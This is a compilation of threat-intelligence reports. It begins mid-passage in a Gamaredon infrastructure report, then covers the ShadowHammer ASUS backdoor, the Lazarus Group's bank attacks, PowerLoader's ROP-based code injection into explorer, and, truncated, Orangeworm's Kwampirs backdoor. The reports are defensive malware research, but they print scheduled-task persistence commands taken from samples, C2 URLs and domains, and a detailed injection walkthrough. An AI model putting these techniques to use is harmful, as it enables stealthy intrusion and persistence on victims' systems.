the file, and the last time the file was written to, similar to the example below: ``` C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM ``` The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example: ``` FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA ``` Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase. These MD5 hashes are then saved into the file C:\Users\%USER%\AppData\Local\IconsCache.db. The naming of this file is another attempt to hide in plain sight next to the legitimate IconCache.db. The malware uses this database to track unique files. The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique illustrated previously with the moolin[.]ru domain example: ``` https://194.67.109[.]164/zB6OZj6F0zYfSQ ``` Below is the full list of domains currently resolving to cluster 2 IP addresses: | Domain | Registered | |--------------------------|--------------| | jolotras[.]ru | 12/16/2021 | | moolin[.]ru | 10/11/2021 | | bokuwai[.]ru | 9/2/2021 | | naniga[.]ru | 9/2/2021 | | nonimak[.]ru | 9/2/2021 | | bilargo[.]ru | 7/23/2021 | | krashand[.]ru | 6/17/2021 | | firtabo[.]ru | 5/28/2021 | | gorigan[.]ru | 5/25/2021 | | firasto[.]ru | 5/21/2021 | | myces[.]ru | 2/24/2021 | | teroba[.]ru | 2/24/2021 | | bacilluse[.]ru | 2/15/2021 | | circulas[.]ru | 2/15/2021 | | megatos[.]ru | 2/15/2021 | | phymateus[.]ru | 2/15/2021 | | cerambycidae[.]ru | 1/22/2021 | | coleopteras[.]ru | 1/22/2021 | | danainae[.]ru | 1/22/2021 | ## Pteranodon (Cluster 3) The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third, distinct cluster of domains. This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained, and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts. It is capable of downloading and executing files, capturing screenshots, and executing arbitrary commands on compromised systems. Over the last three months, we have identified 33 samples of Pteranodon. These samples are commonly named 7ZSfxMod_x86.exe. Pivoting across this cluster, we identified the following C2 infrastructure: | Domain | Registered | |---------------------|--------------| | takak[.]ru | 9/18/2021 | | rimien[.]ru | 9/18/2021 | | maizuko[.]ru | 9/2/2021 | | iruto[.]ru | 9/2/2021 | | gloritapa[.]ru | 8/5/2021 | | gortisir[.]ru | 8/5/2021 | | gortomalo[.]ru | 8/5/2021 | | langosta[.]ru | 6/25/2021 | | malgaloda[.]ru | 6/8/2021 | We again observe domain reputation aging, as seen in cluster 2. An interesting naming pattern is seen in cluster 3 – also seen in some cluster 1 host and subdomain names. We see these actors using English words, seemingly grouped by the first two or three letters. For example: - deep-rooted.gloritapa[.]ru - deep-sinking.gloritapa[.]ru - deepwaterman.gloritapa[.]ru - deepnesses.gloritapa[.]ru - deep-lunged.gloritapa[.]ru - deerfood.gortomalo[.]ru - deerbrook.gortomalo[.]ru - despite.gortisir[.]ru - des.gortisir[.]ru - desire.gortisir[.]ru This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example: - alley81.salts.kolorato[.]ru - allied.striman[.]ru - allowance.hazari[.]ru - allowance.telefar[.]ru - ally.midiatr[.]ru - allocate54.previously.bilorotka[.]ru - alluded6.perfect.bilorotka[.]ru - already67.perfection.zanulor[.]ru - already8.perfection.zanulor[.]ru This pattern is even carried into HTTP POSTs, files, and directories created by associated samples: **Example 1:** ``` SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee deerflys.gortomalo[.]ru C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deep-naked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F POST /index.eef/deep-water613 ``` **Example 2:** ``` SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13 deer-neck.gortomalo[.]ru "C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F POST /cache.jar/deerkill523 ``` Because we only see this with some domains, this may be a technique employed by a small group of actors or teams. It suggests a possible link between the cluster 3 samples and those from cluster 1 employing a similar naming system. In contrast, we do not observe cluster 2’s large-number or random-string naming technique employed in any cluster 1 domains. ## Conclusion Gamaredon has been targeting Ukrainian victims for almost a decade. As international tensions surrounding Ukraine remain unresolved, Gamaredon’s operations are likely to continue to focus on Russian interests in the region. This blog serves to highlight the importance of research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nation-state cyberthreats. While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered. Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for indicators to put protections in place to defend our customers anywhere in the world. We encourage all organizations to leverage this research to hunt for and defend against this threat. ## Protections and Mitigations The best defense against this evolving threat group is a security posture that favors prevention. We recommend that organizations implement the following: - Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group. - Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above. - Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure. - Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru). - If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200. For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign: - Cortex XDR protects endpoints from the malware techniques described in this blog. - WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious. - Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious. - Users of AutoFocus contextual threat intelligence service can view malware associated with these attacks using the Gamaredon Group tag. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. **Indicators of Compromise** A list of the domains, IP addresses, and malware hashes is available on the Unit 42 GitHub. Additional IoCs shared in a Feb. 16 update to this report are also available.
# Analysis of the ShadowHammer Backdoor On March 25, Kim Zetter published an astonishing story describing a supply-chain attack against ASUS which was run between June and November 2018. The ASUS Live Update software was backdoored in order to attack a very specific group of targets. The campaign, named ShadowHammer, was discovered and investigated by Kaspersky Lab, which will present the full details during SAS2019. **NOTE:** As of yet, Kaspersky has only published a single sample of the backdoor (hash: aa15eb28292321b586c27d8401703494), so the analysis and the considerations presented in this post are specific to that. Once more samples come out, it may become necessary to perform some adjustments. ## The Backdoored setup.exe The ASUS software is distributed as a zip archive containing three files: setup.exe and two versions of 409.msi. The backdoor resides in the first one. The malicious code is executed just before the program exits. The call to `execute_backdoor` overwrites a call to a legitimate function just before the execution of `ExitProcess`. `execute_backdoor` is straightforward. First, it allocates a region of memory with read, write, and execution permissions. It then retrieves the encrypted shellcode data using hardcoded offsets and decrypts it in the allocated memory. Finally, it calls the entrypoint of the shellcode, once again with a hardcoded offset. It is worth noting that the two functions used to execute the malicious shellcode, `execute_backdoor` and `decrypt`, are both located at the end of the .text section of the executable. This indicates that they were added directly to the legitimate compiled file, rather than during compilation. ## The Shellcode The shellcode starts by dynamically loading the DLLs it needs and then retrieves the addresses of the required exported functions. The most interesting ones are `iphlpapi.dll`, used to retrieve the MAC addresses of the machine, and `wininet.dll`, for the communication with the C&C. The next step is to get the MAC addresses of all the interfaces. To obtain this information, the shellcode uses the API function `GetAdaptersAddresses`. To avoid revealing the targeted addresses, the authors of the backdoor stored their MD5 hashes. In order to correctly check the correspondence, for each interface of the machine, the shellcode computes the MD5 hash of the MAC address. We can now look at how the backdoor checks if the retrieved MAC addresses match any of the targeted ones. The data of each target is stored in the following data structure: ```c struct mac_data { DWORD type; BYTE md5_hash1[0x10]; DWORD sep1; BYTE md5_hash2[0x10]; DWORD sep2; } ``` `sep1` and `sep2` are always 0. `type` can be either 1 or 2. If `type` is 1, in order to match this target, the machine just needs to have a MAC address with an MD5 equal to `md5_hash1`; `md5_hash2` is filled with 0. Instead, if `type` is 2, both `md5_hash1` and `md5_hash2` have an actual value and they both must be found in the MAC addresses of the machine. As mentioned by Vitaly Kamluk from Kaspersky Lab, the complete list of targets is scattered among different samples of the backdoor. This specific sample contains 18 of them. ## Target Identified If the MAC addresses match one of those in the target list, the shellcode contacts the C&C with the following URL: `hxxps://asushotfix[.]com/logo2.jpg?` followed by the hex encode of the matched `md5_hash1`. Using the WININET APIs, the shellcode of the second stage is downloaded and saved in another memory region with read, write, execute permission. Finally, it is executed. ## Not a Target If instead the current machine is not a target, the shellcode performs one final action. It creates a file named `idx.ini` in the folder of the current user, where it stores a date a week after the current one. The purpose of this file is unclear. At least for this sample, the backdoor does not perform any malicious activity on machines that are not targeted. There is no form of persistence, so the people behind ShadowHammer cannot reobtain execution unless the `setup.exe` file is run again by a user. ## List of Target Data **type: 2** - 00b006c7dab6ace6c25c3799eb2b6e14 - 5977baa3f8ce0ca1c96d6ac9a40c9a91 **type: 1** - 00b006c7dab6ace6c25c3799eb2b6e14 - 409d8eebce8546e56a0ad740667aadbd - 7da42dd34574d4e1a7ea0e708e7bc9a6 **type: 2** - ade62a257adf118418c5b2913267543e - 4268aed64aa5fff2020d2447790d7d32 **type: 1** - 7b14c53fd3604cc1ebca5af4415afed5 - 3a8ea62e32b4ecbe33df500a28ebc873 - cc16956c9506cd2bb389a7d7da2433bd **type: 2** - fe4ccc64159253a6019304f17102886d - f241c3073a5777742c341472e2d43eec **type: 1** - 4ec2564ace982dc58c1039bf6d6ea83c **type: 2** - ab0cef9e5957129e23fba178120fa20b - f758024e734077c70532e90251c5df02 **type: 1** - f35a60617ab336de4daac799676d07b6 - 6a62ead801802a5c9ec828d0c1edbb5b - 600c7b52e7f80832e3cee84fcec88b9d **type: 2** - 6e75b2d7470e9864d19e48cb360caf64 - fb559bcd103ee0fcb0cf4161b0fafb19 **type: 1** - 690ad61ec7859a0964216b66b5d33b1a **type: 2** - 09da9df3a050afad0df0ef963b41b6e2 - fae3b06ab27f2b0f7c29bf7f2b03f83f **type: 1** - d4b958671f47bf5dcd08705d80de9a53
# Lazarus Group Overview ## Introduction In February 2016, hackers reportedly attempted to steal approximately 1 billion USD from the Central Bank of Bangladesh through SWIFT. In February 2017, several Polish banks were compromised. Security researchers analyzed the malware code, chiefly using this to attribute activity to the Lazarus group. As tools are often reused by different groups, while helpful, malware analysis does not provide conclusive evidence of attribution. Group-IB researchers investigating the Lazarus group collected a broad range of data, both technical and strategic, which places clear attribution on North Korea. The team detected and thoroughly analyzed multiple layers of C&C infrastructure used by Lazarus and identified North Korean IP addresses from which the attacks were ultimately controlled. The following report is an overview of this group’s attack methodology for financial institutions, the malware employed, and a review of their targets. ## Key Findings ### Unique Tools and C&C Infrastructure Through analysis of Lazarus activity, Group-IB gained deep insight into a complex botnet infrastructure built by the hacker group to conduct their attacks. To mask malicious activity, the hackers used a three-layer architecture of compromised servers with SSL encrypted channels established between them. In addition to encrypted traffic, data sent through the SSL channel was additionally encrypted. The attackers achieved anonymity by employing a legitimate VPN client - SoftEther VPN. In some cases, they also used corporate web servers that were part of the attacked infrastructure. To control infected machines, the hackers employed multi-module tools, attempting to complicate malware analysis. That said, they managed to conduct several successful attacks without employing 0day exploits. Lazarus demonstrated a flexible approach to attacks by applying different hacking tools, which prevented their detection by endpoint security solutions. ### Links to North Korea According to our investigation of the Lazarus infrastructure, the threat actors connected to the end C&C layer (Layer 3) from two North Korean IP addresses: 210.52.109.22 and 175.45.178.222. The second IP address relates to Potonggang District, where the National Defence Commission is located — the highest military body in North Korea. Additional evidence was confirmed that Lazarus links to North Korean hackers by Group-IB specialists through analysis of public sources. We found a news report from a South Korean Arirang TV agency, dated 2016, about an attack on South Korean television stations and banks as part of the DarkSeoul operation. This attack was performed by North Korean hackers and was investigated by South Korea’s National Police Agency, who detected two IP addresses 175.45.178.19 and 175.45.178.97, used by hackers to control malware. Both IP addresses are in the same block of IP addresses as the IP 175.45.178.222, which was discovered by Group-IB specialists. Lazarus is purportedly controlled by Bureau 121, a division of the Reconnaissance General Bureau, a North Korean intelligence agency responsible for conducting military cyber campaigns. ### Masquerading as Russian Hackers Since 2016, the hackers have tried to mask their activity by pretending to be Russian hackers. They added specific debugging symbols and strings containing Russian words to a new version of Client_TrafficForwarder, a module designed to proxy network traffic. To protect their executables, they used Enigma Protector, a commercial product created by a Russian software developer. They also used exploits for Flash and SilverLight from sets of exploits created by Russian-speaking hackers. These masquerade techniques initially misled some researchers who conducted express analysis of malicious code. ### Emerging Trend The state-sponsored hacker group Lazarus managed to gain fraudulent access to the SWIFT network of attacked banks. This is believed to be a growing trend: state-sponsored hackers are demonstrating an increased interest in conducting attacks on financial institutions, which are considered a component of the national critical infrastructure in some countries. At the moment, only a few similar incidents have been detected. For example, in 2010-2013, the NSA reportedly penetrated the SWIFT banking network and monitored a number of Middle East banks. In late 2016, attacks on Ukrainian banks were conducted, allegedly as part of the BlackEnergy operation. However, researchers expect that the number of attacks on financial institutions by state-backed hackers may significantly increase in the future. ### Victims The earliest indicator of compromise detected by Group-IB is dated March 2016. This was directly after the Central Bank of Bangladesh incident, which took place in February 2016, where attackers attempted to steal $1 billion USD. Only a spelling mistake in an online bank transfer instruction helped prevent them from stealing more than $81 million USD. Following this incident, the group modified its tactics and tools, adapting them to the changing environment and misleading researchers. Through analysis of compromised networks, Group-IB identified IP addresses of universities in the US, Canada, Great Britain, India, Bulgaria, Poland, Turkey, pharmaceutical companies in Japan and China, as well as government subnets in various countries. ## Preparation and Implementation ### Infection of Web Resources To infiltrate systems of their interest, Lazarus conducted watering-hole attacks leveraging compromised resources often visited by their potential victims, such as websites of financial regulators and government agencies in several countries. Some of these resources include: - knf.gov.pl — The Polish Financial Supervision Authority - cnvb.gob.mx — National Banking and Securities Commission, Mexico - brou.com.uy — Banco de la República Oriental del Uruguay, a state-owned bank in Uruguay Through examination of a code on a web server with exploits, Group-IB specialists detected a list of 255 IP address ranges. Hackers infected only those users who visited the website from a computer within the specified IP range. Based on this list, researchers compiled a map of the countries that were of interest to the attackers. To gain access to websites of financial regulators and bank local networks, hackers used known vulnerabilities in JBoss and Liferay. They compiled an exploit for Silverlight CVE-2016-0034 (MS16-006) which earlier was included in RIG and Angler exploit kits, and they also used Flash exploits from Neutrino Exploit Kit. ### Establishment of C&C Infrastructure Attackers created a 3-tier infrastructure that consisted of compromised servers, between which the hackers established SSL encrypted channels. The network interaction with the attacked computer was carried out only from the Layer 1 server, which acted as a C&C server. In some cases, hackers placed the Layer 1 server inside the organization attacked to reduce the risk of detection. They gained access to these servers by brute forcing passwords for RDP. Hackers used an original set of tools: - **Server_RAT**: Used to manage Windows-based server infrastructure - **Server_TrafficForwarder**: Forwards traffic from one external server to another - **Backend_Listener**: Establishes connection with servers with installed Server_RAT, gets commands directly from the threat actor - **Admin_Tool**: Admin tool to send commands to infected computers - **SWIFT toolbox**: Used to work with SWIFT, consists of Alliance software, Hook Files, and SWIFT transactions Information Harvester. Through in-depth analysis of the tools used by the attackers, Group-IB specialists identified the scheme of communications between nodes within the C&C infrastructure. ### Three-layer C&C Server Infrastructure Server_RAT was installed on all infrastructure levels to control the compromised infrastructure. Server_RAT constantly listens on port 3365, to which attackers connected to control the server. To ensure the availability of the specified port, the malicious program added a special rule to the firewall that allowed incoming connections to this port. Infected computers performed an outgoing connection to the compromised server acting as a proxy via port 443. Typically, outbound connections on this port are allowed in corporate networks. Based on analysis of the Server_RAT functionality, Group-IB specialists identified that Server_RAT responds to certain requests in a specific way. Keeping in mind that Server_RAT constantly keeps port 3365 open, we scanned the Internet for open ports 3365. Following this, we checked a list of detected servers to identify those servers where Server_RAT was installed. As a result, Group-IB specialists received a list of 74 IP addresses, which are presented in the Indicators of Compromise section. Server_TrafficForwarder was installed on the first and second server levels — this module redirected traffic from one server to another. In some cases, Server_TrafficForwarder was installed on servers inside the attacked organization. This approach allows the criminal to avoid detection of suspicious connections to the external network or bypass network connection restrictions with prohibited connections to the external network from specific computers/servers, which is often applied by companies to protect the most critical PCs, such as those of SWIFT operators. After the start, Server_TrafficForwarder reads the contents of the key and certificate files from the root directory that will be used to create an SSL tunnel. At the first start, hackers manually specify the port to listen on as well as the address of the C&C server to which traffic is to be sent. In the event the port is not specified, the program listens on a random port and waits for incoming connections. To verify communication with a compromised server, hackers check if the client is appropriate: they send the first network request; when a response is received from the client, they decrypt it and compare it with a previously known response. In the event the responses are different, the connection is broken. ### Tools to Control Infected PCs In addition to the multi-layer server structure, hackers developed a specialized toolset to perform remote control over infected PCs. The group actively attempted to conceal their activity, complicating malware detection and analysis as much as possible. All tools consist of modules, which were delivered separately to target organizations only. To complicate malware investigation, criminals encrypted and obfuscated their tools. The modular architecture of the victim’s infection process provides both additional flexibility and anonymity throughout the cyber-attack. This scheme allows hackers to divide software development activity between teams, as well as to ensure the reuse of program code. - **Recon**: Performs initial reconnaissance to determine if a system is of interest to the threat actors. - **Dropper**: Extracts and decrypts Loader. - **Loader**: Decrypts the payload — Client_RAT or Client_TrafficForwarder — and injects it into the legitimate process. - **Client_TrafficForwarder**: Forwards operator’s commands from the external network into the corporate network. - **Client_RAT**: Provides full control over the target system. ## Recommendations ### Updates of Software and Operating Systems To prevent infection through execution of exploits, it is enough to update your Microsoft and Adobe software. The Lazarus group uses known and patched exploits, rather than leveraging 0day vulnerabilities. That’s why even usual software updates did not allow attackers to infiltrate corporate networks. Unfortunately, some of the attacked banks did not comply with this requirement. ### Network Traffic Analysis Even if the criminals have managed to obtain access to the corporate network, the attack can still be successfully prevented. After intrusion into the company’s network, hackers still need to find systems of their interest and gain access to them. It takes days and even months sometimes, and this time should be used to detect the malicious activity. Attackers use malicious programs that transfer data to the C&C server — Layer 1. Communications between the infected computer and the C&C server can be identified through network traffic analysis. All communications are encrypted, which is why you should use solutions that can detect network anomalies based on threat intelligence data. ### Application Whitelisting Application whitelisting should be introduced into critical bank servers. This will prevent attackers from installing their remote control tools, monitoring financial transactions, and escalating privileges. It also helps to identify unauthorized attempts to run such malicious applications. ### Checking Indicators of Compromise The “Indicators of compromise” section contains current and historical intelligence data. With these indicators, you can check if your organization was, or is, under attack by Lazarus. The group uses legitimate compromised servers, which is why these indicators can give false positives. ### Response If you have detected trails of a targeted attack at any stage, you need to involve specialized companies for its analysis. Incorrect responses to the attack result in the attacker activity remaining partly undetected, enabling criminals to achieve their goal — to steal money. ## Indicators of Compromise ### IP Addresses of Attackers - 175.45.178.222: North Korea, Potonggang District, where the National Defence Commission of North Korea is located. - 210.52.109.22: North Korea, located in the network of China Netcom. - 157.7.135.182: Japan, VPN server with an agent SoftEther VPN. - 202.101.36.45: China, VPN server with an agent SoftEther VPN. ### Certificates Used to Redirect Traffic - **Certificate thumbprint**: de8166daca44cca2ef26031f - **Issued for**: www.longmusic.com/[email protected] - **Issue date**: 2017-02-09 - **IP addresses where the certificate was detected**: 12.49.13.202, 31.210.105.105 ### Malware Hashes - 4cc10ab3f4ee6769e520694a10f611d5: Silverlight exploit (cambio.xap) - 6dffcfa68433f886b2e88fd984b4995a: Flash exploit (cambio.swf) - cb52c013f7af0219d45953bae663c9a2: Reconnaissance module (svchost.exe) - 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae: Dropper (gpsvc.exe) - 85d316590edfb4212049c4490db08c4b: Dropper (MBLCTR.EXE) ## Appendix ### Recon Module The svchost.exe file (MD5 cb52c013f7af0219d45953bae663c9a2, size 128512 bytes) is a backdoor. This program is installed and launched on the target machine through successful execution of exploits. Once launched, the program adds itself to the auto-start by copying its file to the directory “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”, collects information about the infected machine, and sends it to the C&C server. The analyzed sample can download and run executable files on command from the C&C server (the "http" command). The "killkill" command, used for self-removal from the infected system, applies a hard-coded name of a .BAT file "%temp%\tmp095j.bat". ### Client RAT This remote control tool is installed on command from Recon, in the event the computer is of interest to the attacker. The application is deployed as follows: Dropper -> Loader -> Payload. The gpsvc.exe file (MD5: 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae, size: 3449344 bytes) is an executable file and can be classified as Dropper. ### Client Traffic Forwarder This program is designed to provide access to the local network and is also installed using the original Dropper. The installation scheme is as follows: Dropper -> Loader -> Loader -> Payload. The gpsvc.exe and MBLCTR.EXE files (size: 753664 bytes, MD5: 85d316590edf b4212049c4490db08c4b) are executable files and can be classified as Loader. The program can also read executable data from the following registry keys and embed them into the selected process: - HKLM\SYSTEM\CurrentControlSet\Services\<name of service>\Security\Data2 - HKLM\SYSTEM\CurrentControlSet\Services\<name of service>\Security\Data3
# I’m not dead It has been a while since I wrote an article (I’ve been pretty busy in real life), so I decided to get writing. This article will probably only make sense to people from a malware research/programming background, but to compensate I will be posting a fairly non-technical article in the near future. I will be talking about the infamous injection method from PowerLoader 2.0, which has been seen in many different malware families such as: Carberp, Redyms, and Gapz. Recently, after looking at the difference between 0vercl0ck’s proof of concept and the real deal, a friend asked me, “Why does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does?” I already had a perfect idea of why but decided to do some digging and answer the question “How?” This digging resulted in me finding something that truly impressed me (I try not to admire the work of criminals as I don’t want to seem like a psychopath 😉). I would have written this article sooner, but I was totally unaware that no blogs had really gone into depth on this method; I like to be unique! ## The Purpose Most antiviruses don’t treat all processes the same; a known “trusted” process is usually far less likely to flag up any warnings from the antivirus. In this case, the goal of malware is to inject code into one of these “trusted” processes in order to run with less risk of detection. Of course, antiviruses will attempt to catch injection too, so the challenge is for malware to find a way into the trusted process without being detected. In order to give a better idea of the stealthiness of PowerLoader, I have listed below some common telltale signs of a malicious process attempting to inject: - Allocating heap space - Creating threads - Overwriting process/module memory - Manipulating thread context - Queuing asynchronous procedure calls (APCs) Proactive antiviruses will check for processes trying to perform these actions and could likely result in the user being alerted to a malicious process. The aim of PowerLoader is to subvert this, which seems to be a success as it is not picked up by antiviruses and does not cross off anything on the list. ## Writing the code to explorer In the case of PowerLoader, the trusted process targeted is explorer. I won’t be putting any images/reversed code for this part as it has already been well documented by ESET. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. PowerLoader then proceeds to map the shellcode onto the end of the chosen section. Below is a list of targeted shared sections: - BaseNamedObjectsShimSharedMemory - BaseNamedObjectswindows_shell_global_counters - BaseNamedObjectsMSCTF.Shared.SFM.MIH - BaseNamedObjectsMSCTF.Shared.SFM.AMF - BaseNamedObjectsUrlZonesSM_Administrator - BaseNamedObjectsUrlZonesSM_SYSTEM ## Executing the code In order to execute the remote code without creating a thread, PowerLoader uses a little trick with the explorer tray window procedure. By opening “Shell_TrayWnd” and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. Here, PowerLoader sets the address to a pointer to a pointer to KiUserApcDispatcher, whereas 0vercl0ck’s code will just set it to a pointer to a pointer to the payload (which resides in a shared section). When SendNotifyMessage is called by the malware, the window procedure inside explorer is triggered and this is what happens. Now this code is simple; it will perform a double indirection that will result in the address pointed to by the pointer that was set using SetWindowLong being executed. This is where PowerLoader differs from 0vercl0ck’s version. The instruction “call dword ptr eax” will read the value pointed to by EAX and then call it. The read part won’t trigger DEP (Data Execution Prevention) if the section is not executable (in later versions of Windows, it is execute-protected); however, if EAX points to an address inside the section, DEP will be triggered. Because the section's protection is only set to Read/Write in later versions of Windows, 0vercl0ck’s code will likely trigger DEP and crash explorer; however, because PowerLoader’s pointer points to KiUserApcDispatcher (resides in ntdll), DEP is not triggered. ## ROP Chains, Unicorns, and Rainbows This part greatly interested me, partly because I have never seen a ROP chain in the wild before but mainly because it is the most advanced injection method I have ever come across. In order to understand how PowerLoader gets from KiUserApcDispatcher to shellcode execution, we need to do some disassembling. In the Window Procedure, we see the Window Procedure pushing ESI onto the stack, then calling KiUserApcDispatcher. It is important to remember ESI contains the address (held in the shellcode) of the pointer to the KiUserApcDispatcher pointer. So let’s see disassemble KiUserApcDispatcher. Pay attention to the first 3 instructions. “lea edi, [esp+10h]” is loading the last parameter into the EDI register. If you remember, the last parameter pushed to the stack was ESI, which contains an address within the shellcode. Next, it pops the return address into the EAX and then calls it; this results in execution being transferred back to the Window Procedure. So really nothing has happened here. We’ve just set the EDI to an address inside the shellcode and then gone back to where we came from. So in order to see what happens next, we are going to have to dig deeper. Now in this disassembly, we need to pay attention to the instructions underlined in red and orange; the blue box is the code we already discussed (executes KiUserApcDispatcher and sets EDI to ESI), the rest of the code can be ignored. As you can see, the function makes 2 more calls (EAX+8, followed by EAX+4); if you remember earlier, EAX is an address in the shellcode, so the next call is to the address 8 Bytes below. Let’s take a look at the shellcode. When SetWindowLong was called by PowerLoader, it set the ESI to 00100E0C (which holds the address 00100E20). The code then performs an indirection and EAX ends up pointing to KiUserApcDispatchPtr (00100E20). Using some very basic maths, EAX+8 points to 00100E28 and EAX+4 to 00100E24. What are 00100E28 & 00100E24? When the shellcode was made during runtime, PowerLoader searched for some byte sequences in explorer using ReadProcessMemory, then stored the addresses of those sequences in the shellcode. The sequences are instructions within the executable regions of explorer’s memory; their purpose is to perform certain operations as PowerLoader can’t execute any of its own code yet, due to the section being execute-protected. 00100E28 points to some code in explorer that executes the instruction “STD” followed by “RET.” As a result, the instruction underlined in red will result in the direction flag being set and execution being returned to the Window Procedure. Until now, nothing makes any sense at all. We’ve set the ESI to an address in the shellcode, we’ve set the EDI to an address on the stack, and we’ve set the direction flag. What happens next makes sense of it all. EAX+4 is called from the window procedure; as we established, EAX+4 is a pointer in our shellcode, but what does it point to? Again, we need to do some disassembling. Remember I said PowerLoader scanned some byte sequences in explorer? Well, these bytes were found, in this case, inside some random shell32 function (it doesn’t matter). Now the pointer doesn’t point to the start of the function; it points somewhere in the middle, as a result, only the bytes in the red box are executed. It should become apparent what is happening. The instruction “REP MOVSD” will move ECX (0x94) bytes from the address in ESI to the address in EDI. Earlier, the code managed to use code within explorer to set the ESI to the shellcode address, the EDI to an address on the stack, then set the direction flag to 1. Because of this, the shellcode starting at address 00100E0C will be copied to the stack backwards (the copying will start at the address in ESI, copy a DWORD, then subtract the address by 4 and repeat). (Remember: because all addresses point to executable code within explorer address space, and they are called using a pointer, no code in the shellcode is actually executed, thus resulting in no nasty DEP errors.) This is where things start to heat up. PowerLoader has just used code located within explorer to overwrite some of the stack with some shellcode, which means although still incapable of directly executing its own code, PowerLoader has control over return addresses and stack-based parameters. Let’s have a look at the code that was copied. Once the code copying the ROP Shellcode to the stack is done, it hits the ret instruction, but because the stack has been overwritten, it instead ends up executing code pointed to by the ROP Shellcode. Each bit of code has a ret instruction which causes the next ROP gadget to be executed. I stepped through in a debugger; below I have made a list of the ROP Gadgets in order of execution, each line is a different gadget. 1. Direction Flag Clear 2. Pop 0x70 into EAX 3. Call _alloca_probe 4. WriteProcessMemory 5. Pop the address of ntdll!atan into EAX 6. Jmp to EAX Some things to note: - The _alloca_probe function is undocumented, but I believe it takes the value in EAX and checks that the stack can hold that many items; if not, it triggers the guard page to allocate more stack space (0x70 is in EAX). - The parameters for WriteProcessMemory are at address 00090DA0; these parameters cause WriteProcessMemory to read the shellcode from the shared section, then write it over ntdll!atan, which we can assume isn’t used by explorer. - Finally, the last instruction jumps to ntdll!atan and the code begins execution. ## TLDR / Recap PowerLoader bypasses the execution protection on the shared sections by using code found inside explorer to copy a ROP Chain to the stack, then uses the ROP Chain to manipulate the call stack into causing Explorer to call WriteProcessMemory and overwrite an unused function in ntdll with some shellcode to complete the injection. ## Conclusion So there we have it, from non-executable section to shellcode execution by using explorer’s own code against itself. I’ll try and get a new article up soon; sorry for the inactivity <3
# Threat Intelligence Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare, and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage. ## Sights set on healthcare Based on the list of known victims, Orangeworm does not select its targets randomly or conduct opportunistic hacking. Rather, the group appears to choose its targets carefully and deliberately, conducting a good amount of planning before launching an attack. According to Symantec telemetry, almost 40 percent of Orangeworm’s confirmed victim organizations operate within the healthcare industry. The Kwampirs malware was found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. Additionally, Orangeworm was observed to have an interest in machines used to assist patients in completing consent forms for required procedures. The exact motives of the group are unclear. The biggest number of Orangeworm’s victims are located in the U.S., accounting for 17 percent of the infection rate by region. While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec telemetry, we have seen infections in multiple countries due to the nature of the victims operating large international corporations. ## Healthcare providers caught in the crosshairs We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare. Orangeworm’s secondary targets include Manufacturing, Information Technology, Agriculture, and Logistics. While these industries may appear to be unrelated, we found them to have multiple links to healthcare, such as large manufacturers that produce medical imaging devices sold directly into healthcare firms, IT organizations that provide support services to medical clinics, and logistical organizations that deliver healthcare products. ## Post-compromise activities Once Orangeworm has infiltrated a victim’s network, they deploy Trojan.Kwampirs, a backdoor Trojan that provides the attackers with remote access to the compromised computer. When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections. To ensure persistence, Kwampirs creates a service with the following configuration to ensure that the main payload is loaded into memory upon system reboot. The backdoor also collects some 